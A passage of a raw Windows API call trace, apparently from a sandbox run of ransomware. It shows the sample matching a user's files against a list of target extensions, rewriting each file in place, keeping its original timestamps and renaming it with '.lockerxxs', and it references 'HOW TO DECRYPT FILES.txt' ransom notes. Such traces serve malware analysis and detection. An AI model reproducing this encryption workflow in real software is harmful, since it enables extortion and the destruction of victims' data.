(pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm", pszSpec="*.txt") returned 0 [0085.338] lstrlenA (lpString="*.txt") returned 5 [0085.338] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm", pszSpec="*.jpeg") returned 0 [0085.338] lstrlenA (lpString="*.jpeg") returned 6 [0085.338] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm", pszSpec="*.jpg") returned 0 [0085.339] lstrlenA (lpString="*.jpg") returned 5 [0085.339] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm", pszSpec="*.png") returned 0 [0085.339] lstrlenA (lpString="*.png") returned 5 [0085.339] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm", pszSpec="*.php") returned 0 [0085.339] lstrlenA (lpString="*.php") returned 5 [0085.339] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm", pszSpec="*.cs") returned 0 [0085.339] lstrlenA (lpString="*.cs") returned 4 [0085.339] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm", pszSpec="*.cpp") returned 0 [0085.339] lstrlenA (lpString="*.cpp") returned 5 [0085.339] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm", pszSpec="*.rar") returned 0 [0085.339] lstrlenA (lpString="*.rar") returned 5 [0085.339] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm", pszSpec="*.zip") returned 0 [0085.339] lstrlenA (lpString="*.zip") returned 5 [0085.339] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm", pszSpec="*.html") returned 0 [0085.339] lstrlenA (lpString="*.html") returned 6 [0085.339] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm", pszSpec="*.htm") returned 1 [0085.339] lstrlenA (lpString="*.htm") returned 5 [0085.339] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm" [0085.339] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm" [0085.339] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm." [0085.339] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm.lockerxxs" [0085.340] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\soft blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0085.340] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xe8 [0085.340] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x28de3e80, dwHighDateTime=0x1d2dd9c), lpLastAccessTime=0x407536*(dwLowDateTime=0x28de3e80, dwHighDateTime=0x1d2dd9c), lpLastWriteTime=0x40753e*(dwLowDateTime=0xce1a220d, dwHighDateTime=0x1ca040d)) returned 1 [0085.340] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0085.340] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xc2, lpOverlapped=0x0) returned 1 [0085.342] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm") returned="Soft Blue.htm" [0085.342] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0085.342] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xc2, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xc2, lpOverlapped=0x0) returned 1 [0085.342] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0085.342] CloseHandle (hObject=0x98) returned 1 [0085.342] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\soft blue.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\soft blue.htm.lockerxxs")) returned 1 [0085.343] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa5b3841, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2949, dwReserved0=0x3900033a, dwReserved1=0x4e00c4, cFileName="SoftBlue.jpg", cAlternateFileName="")) returned 1 [0085.343] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0085.343] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SoftBlue.jpg") returned -1 [0085.343] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SoftBlue.jpg") returned -1 [0085.343] lstrcmpiA (lpString1="", lpString2="SoftBlue.jpg") returned -1 [0085.343] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm") returned="Soft Blue.htm" [0085.343] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" [0085.343] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\") returned="" [0085.343] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt" [0085.344] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\how to decrypt files.txt")) returned 0x2020 [0085.344] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", lpString2="SoftBlue.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg" [0085.344] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg", pszSpec="*.ems") returned 0 [0085.344] lstrlenA (lpString="*.ems") returned 5 [0085.344] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg", pszSpec="*.db") returned 0 [0085.344] lstrlenA (lpString="*.db") returned 4 [0085.344] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg", pszSpec="*.dbf") returned 0 [0085.344] lstrlenA (lpString="*.dbf") returned 5 [0085.344] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg", pszSpec="*.myox") returned 0 [0085.344] lstrlenA (lpString="*.myox") returned 6 [0085.344] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg", pszSpec="*.myo") returned 0 [0085.344] lstrlenA (lpString="*.myo") returned 5 [0085.344] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg", pszSpec="*.qbw") returned 0 [0085.344] lstrlenA (lpString="*.qbw") returned 5 [0085.344] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg", pszSpec="*.qbb") returned 0 [0085.344] lstrlenA (lpString="*.qbb") returned 5 [0085.344] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg", pszSpec="*.qbm") returned 0 [0085.344] lstrlenA (lpString="*.qbm") returned 5 [0085.344] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg", pszSpec="*.qbo") returned 0 [0085.344] lstrlenA (lpString="*.qbo") returned 5 [0085.344] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg", pszSpec="*.qbx") returned 0 [0085.344] lstrlenA (lpString="*.qbx") returned 5 [0085.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg", pszSpec="*.qba") returned 0 [0085.345] lstrlenA (lpString="*.qba") returned 5 [0085.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg", pszSpec="*.qby") returned 0 [0085.345] lstrlenA (lpString="*.qby") returned 5 [0085.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg", pszSpec="*.qbj") returned 0 [0085.345] lstrlenA (lpString="*.qbj") returned 5 [0085.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg", pszSpec="*.ofx") returned 0 [0085.345] lstrlenA (lpString="*.ofx") returned 5 [0085.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg", pszSpec="*.qif") returned 0 [0085.345] lstrlenA (lpString="*.qif") returned 5 [0085.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg", pszSpec="*.mye") returned 0 [0085.345] lstrlenA (lpString="*.mye") returned 5 [0085.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg", pszSpec="*.mbox") returned 0 [0085.345] lstrlenA (lpString="*.mbox") returned 6 [0085.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg", pszSpec="*.eml") returned 0 [0085.345] lstrlenA (lpString="*.eml") returned 5 [0085.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg", pszSpec="*.pst") returned 0 [0085.345] lstrlenA (lpString="*.pst") returned 5 [0085.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg", pszSpec="*.ost") returned 0 [0085.345] lstrlenA (lpString="*.ost") returned 5 [0085.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg", pszSpec="*.idx") returned 0 [0085.345] lstrlenA (lpString="*.idx") returned 5 [0085.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg", pszSpec="*.dbx") returned 0 [0085.345] lstrlenA (lpString="*.dbx") returned 5 [0085.346] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg", pszSpec="*.sql") returned 0 [0085.346] lstrlenA (lpString="*.sql") returned 5 [0085.346] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg", pszSpec="*.mdb") returned 0 [0085.346] lstrlenA (lpString="*.mdb") returned 5 [0085.346] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg", pszSpec="*.fdb") returned 0 [0085.346] lstrlenA (lpString="*.fdb") returned 5 [0085.346] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg", pszSpec="*.wab") returned 0 [0085.346] lstrlenA (lpString="*.wab") returned 5 [0085.346] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg", pszSpec="*.dat") returned 0 [0085.346] lstrlenA (lpString="*.dat") returned 5 [0085.346] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg", pszSpec="*.txt") returned 0 [0085.346] lstrlenA (lpString="*.txt") returned 5 [0085.346] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg", pszSpec="*.jpeg") returned 0 [0085.346] lstrlenA (lpString="*.jpeg") returned 6 [0085.346] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg", pszSpec="*.jpg") returned 1 [0085.346] lstrlenA (lpString="*.jpg") returned 5 [0085.346] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg" [0085.346] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg" [0085.346] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg." [0085.346] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg.lockerxxs" [0085.346] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\softblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0085.347] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2949 [0085.348] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x28de3e80, dwHighDateTime=0x1d2dd9c), lpLastAccessTime=0x407536*(dwLowDateTime=0x28de3e80, dwHighDateTime=0x1d2dd9c), lpLastWriteTime=0x40753e*(dwLowDateTime=0xaa5b3841, dwHighDateTime=0x1c9ea0c)) returned 1 [0085.348] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0085.348] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x2923, lpOverlapped=0x0) returned 1 [0085.374] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg") returned="SoftBlue.jpg" [0085.375] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0085.375] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x2923, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x2923, lpOverlapped=0x0) returned 1 [0085.375] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0085.375] CloseHandle (hObject=0x98) returned 1 [0085.375] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\softblue.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\softblue.jpg.lockerxxs")) returned 1 [0085.377] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce1c836a, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x3900033a, dwReserved1=0x4e00c4, cFileName="Stars.htm", cAlternateFileName="")) returned 1 [0085.377] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0085.377] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Stars.htm") returned -1 [0085.377] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Stars.htm") returned -1 [0085.377] lstrcmpiA (lpString1="", lpString2="Stars.htm") returned -1 [0085.377] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg") returned="SoftBlue.jpg" [0085.378] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" [0085.378] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\") returned="" [0085.378] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt" [0085.378] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\how to decrypt files.txt")) returned 0x2020 [0085.378] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", lpString2="Stars.htm" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm" [0085.378] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm", pszSpec="*.ems") returned 0 [0085.378] lstrlenA (lpString="*.ems") returned 5 [0085.378] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm", pszSpec="*.db") returned 0 [0085.378] lstrlenA (lpString="*.db") returned 4 [0085.378] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm", pszSpec="*.dbf") returned 0 [0085.378] lstrlenA (lpString="*.dbf") returned 5 [0085.378] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm", pszSpec="*.myox") returned 0 [0085.378] lstrlenA (lpString="*.myox") returned 6 [0085.378] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm", pszSpec="*.myo") returned 0 [0085.378] lstrlenA (lpString="*.myo") returned 5 [0085.378] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm", pszSpec="*.qbw") returned 0 [0085.378] lstrlenA (lpString="*.qbw") returned 5 [0085.378] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm", pszSpec="*.qbb") returned 0 [0085.378] lstrlenA (lpString="*.qbb") returned 5 [0085.378] PathMatchSpecA 